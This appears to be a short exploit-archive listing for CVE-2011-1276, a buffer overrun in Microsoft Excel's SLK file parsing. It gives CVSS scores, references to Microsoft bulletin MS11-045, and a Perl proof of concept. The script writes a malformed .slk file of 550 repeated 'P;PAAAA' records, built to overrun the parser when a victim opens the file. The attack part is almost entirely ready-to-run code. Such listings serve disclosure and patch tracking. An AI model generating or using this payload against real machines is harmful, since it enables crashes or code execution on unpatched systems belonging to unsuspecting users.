Excel SLYK Format Parsing Buffer Overrun Vulnerability

2011.08.10
Credit: webDEViL
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC # Date: [date] # Author: webDEViL # Software Link: [download link if available] # Version: [app version] # Tested on: ALL # CVE : CVE-2011-1276 # w3bd3vil[at]gmail[dot]com # twitter.com/w3bd3vil open (FILE, '>>CVE-2011-1276.slk'); print FILE "ID;P\n"; print FILE "P;PAAAA\n"x550; print FILE "P"; close (FILE);

References:

http://www.microsoft.com/technet/security/Bulletin/MS11-045.mspx
http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:12451
http://oval.mitre.org/repository/data/DownloadDefinition?id=oval:org.mitre.oval:def:12451


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